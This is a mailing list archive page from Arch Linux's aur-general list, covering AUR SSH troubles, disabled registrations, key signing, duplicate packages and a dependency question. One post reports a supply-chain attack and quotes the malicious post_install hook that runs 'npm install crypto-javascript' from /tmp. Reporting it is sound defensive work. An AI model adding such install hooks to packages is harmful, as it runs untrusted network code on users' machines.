June 2026 - Aur-general - lists.archlinux.org

SSH auth denied for existing AUR account enbonnet
by Ender Bonnet 02 Aug '26

02 Aug '26

Hello, I have an existing AUR account: enbonnet. My uploaded SSH key fingerprint is: SHA256:DwAGgyvDn2BSghPNV3zpIooziHczj+oCDpBxYwXvuKE Verbose SSH to aur(a)aur.archlinux.org shows that the server accepts the offered Ed25519 key, then final auth fails with: Permission denied (publickey) I also tested: ssh -o IdentitiesOnly=yes -i ~/.ssh/aur -vT aur(a)aur.archlinux.org ssh -o IdentitiesOnly=yes -i ~/.ssh/aur aur(a)aur.archlinux.org help Could you please verify whether my account is fully active for SSH access and whether the uploaded key is associated correctly? Thanks. -- Ender Bonnet *enbonnet.com <http://enbonnet.com?source=email-sign>*

6 6

Malicious activity on plex-media-player pkgbuilds
by Fabio Loli 31 Jul '26

31 Jul '26

Hi all, pkgbuild plex-media-player have been updated to include: +install=plex-media-player-deps.install +post_install() { + cd /tmp + npm install crypto-javascript +} plex-media-player was orphan and was adopted by a new account created today Duplicates uploaded today always by new suspicious accounts are: plex-media-player-v2 plex-media-player-mod plex-media-player-custom also have 'npm install crypto-javascript' in .install file https://aur.archlinux.org/cgit/aur.git/commit/?h=plex-media-player&id=461c4… https://aur.archlinux.org/packages?O=0&SeB=n&K=plex-media-player&outdated=&…

3 5

AUR registration disabled
by Leonidas Spyropoulos 13 Jul '26

13 Jul '26

Hey all, Due to the current influx of malicious packages uploaded to AUR registration of new accounts is currently disabled while we are working on the cleanup. Thanks for your understanding. Cheers, artafinde on behalf of Dev Ops of Archlinux -- Leonidas Spyropoulos Developer & DevOps PGP: 59E43E106B247368 244740D17C7FD0EC

1 1

Temporary Maintenance Delay for My AUR Packages
by shresth paul 07 Jul '26

07 Jul '26

Hello Everyone, I hope you're doing well. I will be away from active development and maintenance for a short period (likely around a month or 2 (max)) due to some personal circumstances. In case there are any issues related to the packages I currently maintain, please feel free to reach out to me via email. I will try my best to review and fix critical issues as soon as possible whenever I am available. Thank you for your patience and understanding. Thanks Shresth Paul (AUR UserName - SecByShresth)

3 5

Key signing?
by Sean E. Russell 01 Jul '26

01 Jul '26

Hi, I maintain a handfull of packages in AUR -- most of which I'm also the upstream author of -- and with all the recent hubub have been thinking about improving the trustability of those packages. I hadn't before really looked into signing since that seems mostly the domain of the core repositories and specifically signed _built_ packages (ignoring `-bin` packages in AUR for the moment). It occurs to me that my signature is going to have the most value to diligent checkers if it's signed by one of the trusted keys in `archlinux-keyring`, which of course leads me to wonder: is there a documented process for non-core contributors to get their keys signed? Arch Linux key signing parties, or something? There's a lot of discussion going on about a longer-term response to the supply chain attacks, and I'm sure a lot more less-visible discussion among the core team. In the meantime, I'd like to improve the trustability of the packages I maintain. I don't want to lose the enormous value AUR provides small (less popular) software developers and, ultimately, Arch users. --- SER Sean E. Russell (https://ser1.net) OpMsg: https://ser1.net/.well-known/opmsg.txt GPG key: https://ser1.net/.well-known/pgp.asc Minisign: https://ser1.net/.well-known/minisign.pub Age: age195vpft7nzsy83medxagqqsge0lrcuf9txe3z2znlu2wsk69cdu4sx8nfvp

7 8

SSH not working
by Borna Punda 30 Jun '26

30 Jun '26

Greetings, I am a maintainer of the coderabbit package and have been trying to pull from SSH for the last two days and it hasn't been working. --- borna.punda@lain ~/Projects [128]> git clone aur@aur.archlinux.org:coderabbit.git Cloning into 'coderabbit'... Read from remote host aur.archlinux.org: Connection reset by peer client_loop: send disconnect: Broken pipe fatal: Could not read from remote repository. Please make sure you have the correct access rights and the repository exists. --- Could you please take a look? Thank you! -- Borna Punda

2 2

AUR Duplicate of extra: lemonade-server & lemonade-desktop
by Miles Ward 29 Jun '26

29 Jun '26

Aloha, Today I noticed that the package: lemonade-server & lemonade-desktop have duplicates in the AUR. According to [the AUR submission Guidelines](https://wiki.archlinux.org/title/AUR_submission_guidelines) > The submitted PKGBUILDs must not build applications already in any of the official binary > repositories under any circumstances. Links to official packages: - [lemonade-desktop](https://archlinux.org/packages/extra/x86_64/lemonade-desk… - [lemonade-server](https://archlinux.org/packages/extra/x86_64/lemonade-serve… Links to AUR duplicates: - [lemonade-desktop](https://aur.archlinux.org/packages/lemonade-desktop) - [lemonade-server](https://aur.archlinux.org/packages/lemonade-server) I have not reached out to the maintainer of the AUR package; I figured this was the right place to report. Please let me know if I should report this somewhere else instead. Mahalo, Miles

2 1

Duplicate ZCode packages — merge request after rejected PRQs
by bermudi 24 Jun '26

24 Jun '26

There are four AUR packages all delivering the same ZCode application ( https://zcode.ai) | Package | Version | Votes | Maintainer | |---|---|---|---| | `z-code-bin` | 3.1.4-2 | 2 | czy | | `zcode-desktop-bin` | 3.1.4-1 | 2 | duanluan | | `zcode-bin` | 3.1.2-3 | 1 | AnRan | | `zcode-appimage` | 3.1.5-1 | 0 | Xefreh | The AUR submission guidelines state: > Check the AUR if the package already exists. If it is currently > maintained, changes can be submitted in a comment for the maintainer's > attention. If it is unmaintained or the maintainer is unresponsive, the > package can be adopted and updated as required. Do not create duplicate > packages. > > — https://wiki.archlinux.org/title/AUR_submission_guidelines `z-code-bin` existed first and is actively maintained. The three later packages are clear duplicates that violate the guidelines above: they share the same upstream binary and purpose, with no technical distinction beyond the AppImage variant's packaging format. I attempted to resolve this via deletion requests: - PRQ#82994 (`zcode-bin`) — rejected (2026-06-18) - PRQ#82995 (`zcode-desktop-bin`) — rejected (2026-06-18) - PRQ#83110 (`zcode-appimage`) — closed (2026-06-23) All were rejected or closed yet we still have 4 packages for the same application. Additionally, `zcode-desktop-bin` claims to "repack from the official macOS release", not appropriate for an Arch Linux package and misleading to users. I'm asking a TU to: 1. Merge `zcode-bin` and `zcode-desktop-bin` into `z-code-bin`. 2. Delete the leftover packages. 3. Rule on whether `zcode-appimage` should also be merged or if AppImage packaging is considered distinct enough to coexist with `-bin`. Currently, it's the same upstream binary in a different archive format, and submitting it as a new package when `z-code-bin` already existed appears to violate the "Do not create duplicate packages" rule.) — bermudi

1 0

How to register at AUR now
by Andreas Reichel 24 Jun '26

24 Jun '26

Greetings. Please allow me to ask: how can I register as Co-Author at AUR now? Ataraxy has built https://aur.archlinux.org/packages/aurscan-manticore-bin-release-git for https://github.com/manticore-projects/aurscan and for maintaining this automatically via Github CI, I would need to register at AUR as Co-Author. What is the status quo and plan please? Than you already, best and cheers Andreas

2 3

Dependencies that change depending on config
by Aaron Liu 22 Jun '26

22 Jun '26

Ey, The package python-rapidocr can use one of six runtimes, three of which are packaged (in either the extra or AUR). It has a config file—that my package currently installs to /site-packages/rapidocr/config.yaml—that specifies (along other things) which runtime should be used. By default, it specifies onnxruntime. It fails to execute (or check(), consequently) without a runtime installed. 1. What should I do to address this? Should I make onnxruntime a required dependency, even though users could e.g. install openvino and configure rapidocr to use that instead, in which case onnxruntime is unneeded? That's what yt-dlp-ejs—the only analogue I know—does, but I hesitate to follow it. 2. Just to confirm, I should move config.yaml to /etc/rapidocr/config.yaml and symlink the site-packages... path to there, right? -- Cheers, Aᴀʀᴏɴ

2 1